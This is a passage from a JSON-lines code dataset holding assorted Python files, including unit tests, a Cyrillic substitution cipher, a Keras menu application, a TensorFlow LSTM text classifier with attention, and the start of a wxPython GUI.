test_get_by_should_return_empty_list_when_not_match(self, mock_get_all):\n mock_get_all.return_value = INTERNAL_LINK_SETS\n expected_result = []\n\n result = self._client.get_by('name', 'Testing')\n\n self.assertEqual(result, expected_result)\n\n @mock.patch.object(ResourceClient, 'get')\n def test_get_called_once(self, mock_get):\n self._client.get('3518be0e-17c1-4189-8f81-83f3724f6155')\n\n mock_get.assert_called_once_with('3518be0e-17c1-4189-8f81-83f3724f6155')\n\n @mock.patch.object(ResourceClient, 'get')\n def test_get_with_uri_called_once(self, mock_get):\n uri = '/rest/internal-link-sets/3518be0e-17c1-4189-8f81-83f3724f6155'\n self._client.get(uri)\n\n mock_get.assert_called_once_with(uri)\n","sub_path":"tests/unit/resources/networking/test_internal_link_sets.py","file_name":"test_internal_link_sets.py","file_ext":"py","file_size_in_byte":3770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"615020415","text":"def version(n):\r\n m=dict()\r\n k=list()\r\n a=list()\r\n for i in n:\r\n if i not in m:\r\n m[i]=1\r\n k.append(m[i])\r\n else:\r\n m[i]=m[i]+1\r\n k=list(m.keys())\r\n for i in k:\r\n if (m[i]==1):\r\n a.append(i)\r\n else:\r\n a.append(i)\r\n for j in range(1,m[i]):\r\n a.append(i+'_'+str(j))\r\n print(a)\r\n","sub_path":"Week 9/version_s.py","file_name":"version_s.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"204888177","text":"__author__ = 'Timofey Khirianov'\n# -*- coding: utf8 -*-\n\n\nclass Monoalphabet:\n alphabet = \"абвгдеёжзийклмнопрстуфхцчшщъыьэюя\"\n\n def __init__(self, keytable):\n lowercase_code = {x: y for x, y in zip(self.alphabet, keytable)}\n uppercase_code = {x.upper(): y.upper() for x, y in zip(self.alphabet, keytable)}\n self._encode = dict(lowercase_code)\n self._encode.update(uppercase_code)\n\n lowercase_Code = {x: y for x, y in zip(keytable, self.alphabet)}\n uppercase_Code = {x.upper(): y.upper() for x, y in zip(keytable, self.alphabet)}\n self._decode = dict(lowercase_Code)\n self._decode.update(uppercase_Code)\n\n def encode(self, text):\n return ''.join([self._encode.get(char, char) for char in text])\n\n def decode(self, line):\n return ''.join([self._decode.get(char, char) for char in line])\n\n\n#key = Monoalphabet.alphabet[:]\n#random.shuffle(key)\nkey = \"эьормщднйгычясюцажшбтпвёлеъузхкфи\"\ncipher = Monoalphabet(key)\nline = input()\nwhile line:\n print(cipher.decode(line))\n line = input()","sub_path":"Shtirlitz/Monoalphabet.py","file_name":"Monoalphabet.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"593177482","text":"from datetime import datetime\nfrom typing import (\n List,\n Optional,\n)\nfrom unittest.mock import Mock\n\nfrom django.test import TestCase\n\nfrom books.api.models import Book\nfrom books.core.book_service import BookService\nfrom books.core.tests.api_client_response_data import volumes_data\n\n\nclass BookServiceTestCase(TestCase):\n def setUp(self) -> None:\n self.book_service = BookService()\n self.query: str = 'test-query'\n\n def test_empty_volumes_list(self) -> None:\n self.book_service.books_api_client.get_volumes_list_by_query = Mock(return_value={})\n\n result: int = self.book_service.get_and_save_books(self.query)\n\n expected_result: int = 0\n self.assertEqual(result, expected_result)\n self.assertEqual(Book.objects.count(), expected_result)\n\n def test_get_and_save_volumes_list(self) -> None:\n self.book_service.books_api_client.get_volumes_list_by_query = Mock(return_value=volumes_data)\n\n result: int = self.book_service.get_and_save_books(self.query)\n\n expected_result: int = 1\n self.assertEqual(result, expected_result)\n self.assertEqual(Book.objects.count(), expected_result)\n expected_book_id: str = \"5WWeDwAAQBAJ\"\n expected_title: str = \"BITP 4/2019: Bezpieczeństwo i Technika Pożarnicza / Safety & Fire Technique\"\n expected_authors: List[str] = [\"st. bryg. dr inż. Paweł Janik\"]\n expected_published_date: datetime = datetime(2018, 12, 31)\n expected_categories: List[str] = [\"Technology & Engineering\"]\n expected_average_rating: Optional[float] = None\n expected_ratings_count: Optional[int] = None\n expected_thumbnail: str = \"http://books.google.com/books/content?id=5WWeDwAAQBAJ&printsec=frontcover&img=1&zoom=1&edge=curl&source=gbs_api\"\n\n self.assertIsNotNone(\n Book.objects.filter(\n book_id=expected_book_id,\n title=expected_title,\n authors=expected_authors,\n published_date=expected_published_date,\n categories=expected_categories,\n average_rating=expected_average_rating,\n ratings_count=expected_ratings_count,\n thumbnail=expected_thumbnail,\n ).first()\n )\n","sub_path":"books/core/tests/test_book_service.py","file_name":"test_book_service.py","file_ext":"py","file_size_in_byte":2284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"175907586","text":"from unittest.mock import MagicMock\nimport pytest\n\nfrom app.models.recipe import Recipe\nfrom app.db.recipe import create_recipe_table, write_recipe\n\n\n@pytest.fixture\ndef mock_recipe():\n return Recipe.from_json({\"recipe_id\": 1, \"recipe_name\": \"purp\",})\n\n\ndef test_write_recipe(mock_recipe):\n conn = MagicMock()\n\n write_recipe(conn, mock_recipe)\n\n sql = \"INSERT INTO `recipes` VALUES (%s, %s) ON DUPLICATE KEY UPDATE recipe_name=%s\"\n format_vals = (\n mock_recipe.recipe_id,\n mock_recipe.recipe_name,\n mock_recipe.recipe_name,\n )\n\n conn.cursor().execute.assert_called_with(sql, format_vals)\n\n\ndef test_create_recipe_table():\n conn = MagicMock()\n\n create_recipe_table(conn)\n sql = \"\"\"CREATE TABLE IF NOT EXISTS recipes(\n recipe_id INT NOT NULL AUTO_INCREMENT,\n recipe_name VARCHAR(256),\n PRIMARY KEY (recipe_id)\n );\n \"\"\"\n\n conn.cursor().execute.assert_called_with(sql)\n","sub_path":"tests/unit/app/db/recipe_test.py","file_name":"recipe_test.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"476416460","text":"from typing import Optional, Union\nfrom Objects import Clients\nimport datetime\n\nclient = Clients.myPaperClient\nclock = client.get_clock()\ntdp = datetime.datetime\ntime = datetime.time\n\n\n# alpaca or clock/timestamp are in Eastern time and I cant do clock.timestamp.minute\n# tdp.now() is from package datetime\ndef wait_for_market_open():\n print('...running...wait_for_market_open...')\n while is_open() is False:\n now = tdp.now()\n # timestamp = client.get_clock().timestamp\n # if timestamp is '01:01:00:00000':\n # if clo\n # print(clock)\n\n # print('now' + str(now))\n # time2 = tdp(Union[tdp.year], Union[tdp.month], Union[tdp.day], Union[tdp.hour],\n # Union[tdp.minute], Union[tdp.second], Union[tdp.microsecond], tzinfo=None)\n # if now.second is 10:\n # print(now)\n if now.second is 0 and now.microsecond is 000000: # and now.second is 10 and now.microsecond is 000000:\n print('with Micro: ' + str(now))\n snapshot = client.polygon.snapshot('NFLX')\n print('snapshot: ' + str(snapshot.c))\n # print(time2)\n # grab_premarket_data('1min')\n\n\ndef grab_premarket_data(interval):\n client.get_barset(symbol='NFLX', limit=None, timeframe=None,\n start='', end='', until=None)\n\n\ndef is_open():\n return clock.is_open\n\n\nif __name__ == '__main__':\n wait_for_market_open()\n","sub_path":"Objects/setup_data.py","file_name":"setup_data.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"635448411","text":"'''\nCreated on April 7 2018\n\n@author: James Piggott\n\nPython application that can be used to cycle through workflow of a Deep Learning modelling task.\nIt uses Keras as a Deep Learning framework.\n'''\nimport sys\n\nfrom projects.test_projects.KerasStart import KerasStart\n# from projects.test_projects.KerasRestApi import KerasRestApi\n# from projects.test_projects.KerasRestApiSimpleRequest import KerasRestApiSimpleRequest\nfrom projects.test_projects.KerasStockPrediction import KerasStockPrediction\nfrom projects.test_projects.KerasZalando import KerasZalando\nfrom projects.test_projects.KerasExoplanetCNN import KerasExoplanetCNN\nfrom projects.test_projects.KerasAutoencoder import KerasAutoEncoder\n\nfrom tensorflow.python.client import device_lib\n\ndef get_available_gpus():\n local_device_protos = device_lib.list_local_devices()\n print(\"Your system has the following devices available for Deep Learning\")\n print(\"CPUs: \", [x.name for x in local_device_protos if x.device_type == 'CPU'])\n print(\"GPUs: \", [x.name for x in local_device_protos if x.device_type == 'GPU'])\n\ndef ask_user_for_training_options(option):\n print(\"\")\n print(\"Select training options: # epochs and model save choice\")\n\n if option is \"1\":\n while True:\n print(\"For 'Boston Housing Data' 300 epochs are typical\")\n epochs = int(input(\"Enter number of epochs: \"))\n print(\"Do you wish to save the model to disk? [yes/Yes||no/No]\")\n save_model = input(\"Enter choice: \")\n\n if epochs > 0 and epochs < 1000:\n if save_model in ['y', 'Y', 'yes', 'Yes', 'YES', 'n', 'N', 'no', 'No', 'NO']:\n return [epochs, True]\n else:\n print(\"Please enter a choice that can be interpreted as 'yes' or 'no'\")\n else:\n print(\"Please enter a sensible value between 0 and 1000\")\n\n if option is \"2\":\n while True:\n print(\"For 'MNIST-Fashion Zalando' 20 epochs are typical\")\n epochs = int(input(\"Enter number of epochs: \"))\n print(\"Do you wish to save the model to disk? [yes/Yes||no/No]\")\n save_model = input(\"Enter choice: \")\n\n if epochs > 0 and epochs < 100:\n if save_model in ['y', 'Y', 'yes', 'Yes', 'YES', 'n', 'N', 'no', 'No', 'NO']:\n return [epochs, True]\n else:\n print(\"Please enter a choice that can be interpreted as 'yes' or 'no'\")\n else:\n print(\"Please enter a sensible value between 0 and 100\")\n\n if option is \"3\":\n print()\n\n if option is \"4\":\n print()\n\n if option is \"5\":\n while True:\n print(\"For 'Exoplanet CNN' 32 epochs are typical\")\n epochs = int(input(\"Enter number of epochs: \"))\n print(\"Do you wish to save the model to disk? [yes/Yes||no/No]\")\n save_model = input(\"Enter choice: \")\n\n if epochs > 0 and epochs < 100:\n if save_model in ['y', 'Y', 'yes', 'Yes', 'YES', 'n', 'N', 'no', 'No', 'NO']:\n return [epochs, True]\n else:\n print(\"Please enter a choice that can be interpreted as 'yes' or 'no'\")\n else:\n print(\"Please enter a sensible value between 0 and 100\")\n\n if option is \"6\":\n while True:\n print(\"For 'MNIST-AutoEncoder' 50 epochs are typical\")\n epochs = int(input(\"Enter number of epochs: \"))\n print(\"Do you wish to save the model to disk? [yes/Yes||no/No]\")\n save_model = input(\"Enter choice: \")\n\n if epochs > 0 and epochs < 100:\n if save_model in ['y', 'Y', 'yes', 'Yes', 'YES', 'n', 'N', 'no', 'No', 'NO']:\n return [epochs, True]\n else:\n print(\"Please enter a choice that can be interpreted as 'yes' or 'no'\")\n else:\n print(\"Please enter a sensible value between 0 and 100\")\n\ndef example_keras_apps():\n print(\"\")\n print(\"Select application to run (you will be asked to confirm)\")\n print(\"1. Neural Network (Boston Housing data)\")\n print(\"2. Convolutional NN (MNIST-Fashion - Zalando\")\n print(\"3. Recurrent NN (Stock market data)\")\n print(\"4. Rest API (ImageNet)\")\n print(\"5. Exoplanet CNN\")\n print(\"6. MNIST Autoencoder\")\n print(\"0. Exit application\")\n run = True\n while run:\n option = input()\n if option is \"0\":\n break\n if option is \"1\":\n options = ask_user_for_training_options(option)\n keras_start = KerasStart()\n keras_start.start(options[0], options[1])\n run = False\n if option is \"2\":\n options = ask_user_for_training_options(option)\n zalando = KerasZalando()\n zalando.start(options[0], options[1])\n run = False\n if option is \"3\":\n stocks = KerasStockPrediction()\n stocks.start()\n run = False\n if option is \"4\":\n run(\"Projects/Test_projects/KerasRestApi.py\")\n\n if option is \"5\":\n options = ask_user_for_training_options(option)\n exoplanet = KerasExoplanetCNN()\n exoplanet.start(options[0], options[1])\n run = False\n if option is \"6\":\n options = ask_user_for_training_options(option)\n autoencoder = KerasAutoEncoder()\n autoencoder.start(options[0], options[1])\n run = False\n\n\ndef new_keras_project():\n print(\"1. Enter project name\")\n print(\"2. Load data set\")\n print(\"3. Define model\")\n print(\"4. Train model using data set\")\n print(\"5. Evaluate trained model\")\n print(\"6. Perform steps 2 through 6 in sequence\")\n print(\"0. Return to main menu\")\n\n while True:\n project_option = input()\n\n if project_option is \"0\":\n break\n elif project_option is \"1\":\n directory_name = input(\"Enter a name for your new Project: \")\n message = projects.create_folder(directory_name)\n print(message)\n elif project_option is \"2\":\n datasets.load_data()\n datasets.autodetect_data_format()\n datasets.transform_data()\n elif project_option is \"3\":\n model.define_model()\n model.set_optimizer()\n model.set_data_augmentation()\n elif project_option is \"4\":\n training.train_model()\n training.store_model()\n elif project_option is \"5\":\n evaluation.evaluate_model()\n elif project_option is \"6\":\n print(\"TODO: cycle through the workflow automatically using project meta data\")\n else:\n print(\"Not a valid option\")\n\n\ndef run(run_file):\n with open(run_file, \"r\") as rnf:\n exec(rnf.read())\n\n\ndef main():\n print(\" \")\n print(\"###################################################\")\n print(\"#### Welcome to the Keras Deep learning tool ###\")\n print(\"###################################################\")\n print(\" \")\n\n while True:\n print(\" \")\n print(\"Input an option below\")\n print(\"1. Select example projects\")\n print(\"2. Open or Create Keras project\")\n print(\"3. Detect hardware available\")\n print(\"0. Exit application\")\n option = input()\n if option is \"0\":\n break\n if option is \"1\":\n example_keras_apps()\n if option is \"2\":\n new_keras_project()\n if option is \"3\":\n get_available_gpus()\n sys.exit()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"560536133","text":"import numpy as np\n\n\nclass GiniCriterion:\n def __init__(self, y, sample_weight, class_distribution):\n self.y = y\n self.sample_weight = sample_weight\n\n # total weight of all samples\n weight = np.sum(class_distribution)\n self.node_weight = weight\n self.left_weight = 0.0\n self.right_weight = weight\n\n self.pos = 0\n\n self.distribution = class_distribution\n self.left_distribution = np.zeros_like(class_distribution)\n self.right_distribution = np.copy(class_distribution)\n\n self.impurity = 1.0 - np.sum(self.distribution * self.distribution) / weight**2\n\n def update(self, new_pos):\n # Update statistics up to new_pos\n for p in xrange(self.pos, new_pos):\n cl = self.y[p]\n w = self.sample_weight[p]\n self.left_distribution[cl] += w\n self.left_weight += w\n self.right_distribution[cl] -= w\n self.right_weight -= w\n\n self.pos = new_pos\n\n def node_impurity(self):\n return self.impurity\n\n def children_impurity(self):\n gini_left = 1.0 - np.sum(self.left_distribution * self.left_distribution) / self.left_weight**2\n gini_right = 1.0 - np.sum(self.right_distribution * self.right_distribution) / self.right_weight**2\n return gini_left, gini_right\n\n def impurity_gain(self):\n left, right = self.children_impurity()\n left_ratio = self.left_weight / self.node_weight\n right_ratio = self.right_weight / self.node_weight\n return self.node_impurity() - left_ratio * left - right_ratio * right\n","sub_path":"part_2/adaboost/criterion.py","file_name":"criterion.py","file_ext":"py","file_size_in_byte":1619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"118922611","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 28 15:03:23 2018\n\n@author: natasha_yang\n\n@e-mail: ityangna0402@163.com\n\"\"\"\n\nimport tensorflow as tf\nimport os\nimport traceback\nimport re\n\nclass Lstm(object):\n def __init__(self, args, params, log=None, opmodule=None):\n os.environ['TF_CPP_MIN_LOG_LEVEL']='2'\n self.args = args\n self.params = params\n self.log = log\n self.opmodule = opmodule\n self.construct()\n \n def get_option(self, section, option, wclass='str'):\n if 'str' == wclass:\n return self.params.get(section, option)\n elif 'bool' == wclass:\n return self.params.getboolean(section, option)\n elif 'int' == wclass:\n return self.params.getint(section, option)\n elif 'float' == wclass:\n return self.params.getfloat(section, option)\n\n def print_log(self, message):\n if self.args.local_debug:\n print('[%s][%s:%s]' % (os.path.basename(__file__), self.__class__.__name__, traceback.extract_stack()[-2][2]), message)\n if self.args.print_to_log:\n if self.log:\n self.log.print_to_file(message)\n \n def construct_model(self, lstm_size_each_layer):\n use_basic_cell = self.get_option('summary', 'use_basic_cell', 'int')\n if 0 == use_basic_cell:\n #lstm_cell = tf.nn.rnn_cell.MultiRNNCell([tf.nn.rnn_cell.DropoutWrapper(tf.nn.rnn_cell.BasicLSTMCell(int(size.strip()), state_is_tuple=False), output_keep_prob=self.keep_prob) for size in lstm_size_each_layer])\n lstm_cell = tf.nn.rnn_cell.MultiRNNCell([tf.nn.rnn_cell.DropoutWrapper(tf.nn.rnn_cell.BasicLSTMCell(int(size.strip())), output_keep_prob=self.keep_prob) for size in lstm_size_each_layer])\n elif 1 == use_basic_cell:\n #lstm_cell = tf.nn.rnn_cell.MultiRNNCell([tf.nn.rnn_cell.DropoutWrapper(tf.nn.rnn_cell.LSTMCell(int(size.strip()), state_is_tuple=False), output_keep_prob=self.keep_prob) for size in lstm_size_each_layer])\n lstm_cell = tf.nn.rnn_cell.MultiRNNCell([tf.nn.rnn_cell.DropoutWrapper(tf.nn.rnn_cell.LSTMCell(int(size.strip())), output_keep_prob=self.keep_prob) for size in lstm_size_each_layer])\n elif 2 == use_basic_cell:\n lstm_cell = tf.nn.rnn_cell.MultiRNNCell([tf.nn.rnn_cell.DropoutWrapper(tf.nn.rnn_cell.GRUCell(int(size.strip())), output_keep_prob=self.keep_prob) for size in lstm_size_each_layer])\n return lstm_cell\n \n def get_shape(self, var):\n return tf.shape(var)\n\n def construct(self):\n tf.set_random_seed(66)\n \n #构建模型\n self.input_x = tf.placeholder(tf.int32, [None, self.args.max_document_lenth], name=\"input_x\")#这是要一次训练None * self.args.max_document_lenth\n self.input_y = tf.placeholder(tf.float32, [None, self.args.num_class], name=\"input_y\")#所有的分类,要不要多加一类??都没有命中(get_labels中确定class的数值)\n self.keep_prob = tf.placeholder(tf.float32, name=\"dropout_keep_prob\")#正则化\n \n with tf.device('/cpu:0'), tf.name_scope('embedding'):\n if 0 == self.get_option('embedding', 'use_embedding_tf', 'int'):\n if hasattr(self.opmodule, 'embedded_w'):\n self.embedded_w = tf.Variable(self.opmodule.get_embedded_w, name='W')\n self.embedding = tf.nn.embedding_lookup(self.embedded_w, self.input_x)#self.embedded_module.o_embedding\n else:\n self.print_log('lack embedded_w')\n else:\n self.W = tf.Variable(tf.truncated_normal([self.args.vocab_size, self.get_option('embedding', 'embedding_size', 'int')], stddev=0.1), name='W')\n self.embedding = tf.nn.embedding_lookup(self.W, self.input_x)#(batch_size, max_document_lenth, embedding_size)\n self.print_log('embedding:{}'.format(self.embedding.shape))\n #model\n with tf.variable_scope('layer'):\n \n lstm_size_each_layer = self.get_option('summary', 'lstm_size_each_layer', 'str').split(',')\n use_bidirectional = self.get_option('summary', 'use_bidirectional', 'int')\n self.lstm_cell = self.construct_model(lstm_size_each_layer)\n #看shape\n# self.print_log('lstm_cell:{}, {}'.format(self.lstm_cell.input_shape, self.lstm_cell.output_shape))\n# self.print_log('lstm_cell:{}'.format(self.lstm_cell.state_size()))#(?, 122, lstm_size_each_layer[-1])\n# self.lstm_cell = tf.nn.rnn_cell.LSTMCell(128, state_is_tuple=False)\n# initial_state_fw = self.lstm_cell.zero_state(32, dtype=tf.float32)\n# self.print_log('lstm_cell:{}, {}, {}, {}'.format(len(initial_state_fw), initial_state_fw[0].shape, initial_state_fw[1].shape, initial_state_fw[2].shape))\n# self.print_log('lstm_cell:{}'.format(initial_state_fw[0].shape))\n \n if use_bidirectional:\n #output_fw:[batch_size, max_time, cell_fw.output_size] + output_bw:[batch_size, max_time, cell_bw.output_size]\n self.lstm_cell_bk = self.construct_model(lstm_size_each_layer)\n self.outputs, self.output_states = tf.nn.bidirectional_dynamic_rnn(self.lstm_cell, self.lstm_cell_bk, self.embedding, dtype=tf.float32)\n self.print_log('outputs:{},{}'.format(self.outputs[0].shape, self.outputs[1].shape))\n else:\n self.outputs, self.output_states = tf.nn.dynamic_rnn(self.lstm_cell, self.embedding, dtype=tf.float32)#[batch_size, max_time, cell.output_size]\n self.print_log('outputs:{}'.format(self.outputs.shape))#(?, 122, lstm_size_each_layer[-1])\n #self.print_log('outputs:{}, {}, {}, {}, {}'.format(self.outputs.shape, len(self.output_states), self.output_states[0].shape, self.output_states[1].shape, self.output_states[2].shape))#(?, 122, lstm_size_each_layer[-1])\n #self.print_log('outputs:{}, {}'.format(self.outputs.shape, self.output_states.shape))#(?, 122, lstm_size_each_layer[-1])\n \n #attention(对output做attention的处理)\n #这儿是不是要取最后面的输出来计算(outputs + output_states) tf.transpose([2,1,0])交换纬度第一和第三维度\n #是对一个batch中的每句话取权重这个对么?是不是该对每句话中的单词做权重处理,这样就是关心每句话中的关键的字??\n takeall = False\n if 'True' == takeall:\n inputsize_batch = self.args.max_document_lenth * int(lstm_size_each_layer[-1])\n else:\n inputsize_batch = int(lstm_size_each_layer[-1])\n if self.get_option('summary', 'use_attention', 'int'):\n with tf.name_scope('attention'), tf.variable_scope('attention'):\n attention_size = self.get_option('summary', 'attention_size', 'int')\n attention_b = tf.Variable(tf.constant(0.1, shape=[attention_size]), name='attention_b')\n u_list = []\n if use_bidirectional:\n for index in range(2):\n attention_w = tf.Variable(tf.truncated_normal([inputsize_batch, attention_size], stddev=0.1), name='attention_w')\n if 'True' == takeall:\n self.outputs_flat = tf.reshape(self.outputs[index], [-1, inputsize_batch])\n else:\n #tf.transpose(self.outputs[index], [1, 0, 2]) 是将dim(batch_size,steps,inputsize)==>dim(steps,batch_size,inputsize)\n #tf.unstack(tf.transpose(self.outputs[index], [1, 0, 2]))[-1]取output中的最后一步,本来就是上一个状态和输出会作为下一个的输入,所以直接取最后一笔是OK的\n self.outputs_flat = tf.unstack(tf.transpose(self.outputs[index], [1, 0, 2]))[-1]\n u_list.append(tf.tanh(tf.matmul(self.outputs_flat, attention_w) + attention_b))\n else:\n attention_w = tf.Variable(tf.truncated_normal([inputsize_batch, attention_size], stddev=0.1), name='attention_w')\n if 'True' == takeall:\n self.outputs_flat = tf.reshape(self.outputs, [-1, inputsize_batch])\n else:\n self.outputs_flat = tf.unstack(tf.transpose(self.outputs, [1, 0, 2]))[-1]\n u_list.append(tf.tanh(tf.matmul(self.outputs_flat, attention_w) + attention_b))#(?, 122, attention_size)\n \n attn_z = []\n u_w = tf.Variable(tf.truncated_normal([attention_size, 1], stddev=0.1), name='attention_uw')\n for index in range(len(u_list)):\n z_t = tf.matmul(u_list[index], u_w)\n attn_z.append(z_t)\n self.print_log('z_t:{}'.format(z_t.shape))\n \n attn_zconcat = tf.concat(attn_z, axis=1)\n self.print_log('attn_zconcat:{}'.format(attn_zconcat.shape))\n self.alpha = tf.nn.softmax(attn_zconcat)\n if use_bidirectional:\n self.alpha = tf.reshape(self.alpha, [-1, 2])\n self.print_log('self.alpha:{},{},{}'.format(self.alpha.shape, self.alpha[:, 0].shape, self.alpha[:, 1].shape))\n \n final_output_tmp = []\n for index in range(len(u_list)):\n if use_bidirectional:\n if 'True' == takeall:\n self.outputs_flat = tf.reshape(self.outputs[index], [-1, inputsize_batch])\n else:\n self.outputs_flat = tf.unstack(tf.transpose(self.outputs[index], [1, 0, 2]))[-1]\n final_output_tmp.append(self.outputs_flat * (tf.reshape(self.alpha[:, index], [-1, 1])))#\n else:\n if 'True' == takeall:\n self.outputs_flat = tf.reshape(self.outputs, [-1, inputsize_batch])\n else:\n self.outputs_flat = tf.unstack(tf.transpose(self.outputs, [1, 0, 2]))[-1]\n self.final_output = self.outputs_flat * self.alpha\n if use_bidirectional:\n self.final_output = tf.concat(final_output_tmp, axis=1)\n self.print_log('final_output:{}'.format(self.final_output.shape))#3904*512\n else:\n final_output_tmp = []\n if use_bidirectional:\n for index in range(2):\n if 'True' == takeall:\n final_output_tmp.append(tf.reshape(self.outputs[index], [-1, inputsize_batch]))#\n else:\n final_output_tmp.append(tf.unstack(tf.transpose(self.outputs[index], [1, 0, 2]))[-1])#\n else:\n if 'True' == takeall:\n self.final_output = tf.reshape(self.outputs, [-1, inputsize_batch])\n else:\n self.final_output = tf.unstack(tf.transpose(self.outputs, [1, 0, 2]))[-1]\n if use_bidirectional:\n self.final_output = tf.concat(final_output_tmp, axis=1)\n\n #full connection layer\n with tf.name_scope(\"output\"):\n real_size = inputsize_batch\n if use_bidirectional:\n real_size *= 2\n fc_w = tf.Variable(tf.truncated_normal([real_size, self.args.num_class], stddev=0.1), name='fc_w')\n fc_b = tf.Variable(tf.zeros([self.args.num_class]), name='fc_b')\n self.logits = tf.nn.xw_plus_b(self.final_output, fc_w, fc_b, name=\"logits\")\n self.scores = tf.nn.softmax(self.logits)#每个文本的问题是某类的得分\n self.predictions = tf.argmax(self.logits, 1, name=\"predictions\")#最大得分的index\n self.print_log('scores&predictions:{},{}'.format(self.scores.shape, self.predictions))\n \n #loss\n with tf.name_scope(\"loss\"):\n if 5 <= int(re.findall('\\.(.*)?\\.', tf.__version__)[0]):\n losses = tf.nn.softmax_cross_entropy_with_logits_v2(logits=self.logits, labels=self.input_y)\n else:\n losses = tf.nn.softmax_cross_entropy_with_logits(logits=self.logits, labels=self.input_y)\n self.loss = tf.reduce_mean(losses)\n \n with tf.name_scope(\"accuracy\"):\n #self.acc = tf.reduce_mean(tf.cast(tf.equal(tf.argmax(self.input_y, axis=1), self.predictions), tf.float32))\n self.correct_predictions = tf.equal(self.predictions, tf.argmax(self.input_y, 1))#准确率\n self.acc = tf.reduce_mean(tf.cast(self.correct_predictions, \"float\"), name=\"accuracy\")\n \n #Optimizer\n with tf.name_scope(\"Optimizer\"):\n tvars = tf.trainable_variables()\n #gradient clippling的方式来防止梯度爆炸,当gradients超过这个阈值时,就将它重置为阈值大小,这就保证了梯度不会变得很大\n #tf.gradients(loss, tvars)loss对所有可训练的梯度\n grads, _ = tf.clip_by_global_norm(tf.gradients(self.loss, tvars),self.get_option('summary', 'grad_clip', 'float'))\n optimizer = tf.train.AdamOptimizer(learning_rate=self.get_option('summary', 'learning_rate', 'float'))\n self.optim = optimizer.apply_gradients(zip(grads, tvars))#更新梯度","sub_path":"ChatRobot_UnionPay/LSTM/module.py","file_name":"module.py","file_ext":"py","file_size_in_byte":13407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"490482685","text":"from cloudrail.knowledge.context.azure.resources.storage.azure_data_lake_analytics_account import AzureDataLakeAnalyticsAccount, DataLakeAnalyticsAccountTier\nfrom cloudrail.knowledge.context.azure.resources_builders.scanner.base_azure_scanner_builder import BaseAzureScannerBuilder\n\nclass DataLakeAnalyticsAccountBuilder(BaseAzureScannerBuilder):\n\n def get_file_name(self) -> str:\n return 'datalakeanalytics-account-data.json'\n\n def do_build(self, attributes: dict) -> AzureDataLakeAnalyticsAccount:\n account_propertries = attributes['properties']\n return AzureDataLakeAnalyticsAccount(name=attributes['name'],\n default_store_account_name=account_propertries['defaultDataLakeStoreAccount'],\n tier=DataLakeAnalyticsAccountTier(account_propertries['currentTier']))\n","sub_path":"cloudrail/knowledge/context/azure/resources_builders/scanner/data_lake_analytics_account_builder.py","file_name":"data_lake_analytics_account_builder.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"592372355","text":"from unittest import TestCase\n\nfrom metrology.stats.sample import UniformSample, ExponentiallyDecayingSample\n\n\nclass UniformSampleTest(TestCase):\n def test_sample(self):\n sample = UniformSample(100)\n for i in range(1000):\n sample.update(i)\n snapshot = sample.snapshot()\n self.assertEqual(sample.size(), 100)\n self.assertEqual(snapshot.size(), 100)\n\n for value in snapshot.values:\n self.assertTrue(value < 1000.0)\n self.assertTrue(value >= 0.0)\n\n\nclass ExponentiallyDecayingSampleTest(TestCase):\n def test_sample_1000(self):\n sample = ExponentiallyDecayingSample(100, 0.99)\n for i in range(1000):\n sample.update(i)\n self.assertEqual(sample.size(), 100)\n snapshot = sample.snapshot()\n self.assertEqual(snapshot.size(), 100)\n\n for value in snapshot.values:\n self.assertTrue(value < 1000.0)\n self.assertTrue(value >= 0.0)\n\n def test_sample_10(self):\n sample = ExponentiallyDecayingSample(100, 0.99)\n for i in range(10):\n sample.update(i)\n self.assertEqual(sample.size(), 10)\n\n snapshot = sample.snapshot()\n self.assertEqual(snapshot.size(), 10)\n\n for value in snapshot.values:\n self.assertTrue(value < 10.0)\n self.assertTrue(value >= 0.0)\n\n def test_sample_100(self):\n sample = ExponentiallyDecayingSample(1000, 0.01)\n for i in range(100):\n sample.update(i)\n self.assertEqual(sample.size(), 100)\n\n snapshot = sample.snapshot()\n self.assertEqual(snapshot.size(), 100)\n\n for value in snapshot.values:\n self.assertTrue(value < 100.0)\n self.assertTrue(value >= 0.0)\n","sub_path":"tests/stats/test_sample.py","file_name":"test_sample.py","file_ext":"py","file_size_in_byte":1770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"546853323","text":"import wx\nimport sys\nimport LicentaBackend.haardetection\nimport LicentaBackend.createBg\nimport LicentaBackend.annotation\nimport LicentaBackend.vect\nimport LicentaBackend.detection\n\n\npanels = {}\ndisplayed_panel = ''\n\n\nclass MainApplication(wx.App):\n def OnInit(self):\n frame = MainFrame(parent=None, title=\"Animal recognition toolkit\")\n frame.SetMinSize(size=(700, 400))\n frame.Show()\n return True\n\n\nclass MainFrame(wx.Frame):\n def __init__(self, parent, title):\n super().__init__(parent, title=title, size=(900, 450))\n\n menu = MenuPanel(self)\n detection = DetectionPanel(self)\n classifier = ClassifierPanel(self)\n recognition = RecognitionPanel(self)\n train_cnn = TrainCNNPanel(self)\n output_panel = OutputPanel(self)\n create_samples = CreateSamplesPanel(self)\n crop_panel = CropPanel(self)\n\n global panels, displayed_panel\n panels['detection'] = detection\n panels['classifier'] = classifier\n panels['recognition'] = recognition\n panels['train_CNN'] = train_cnn\n 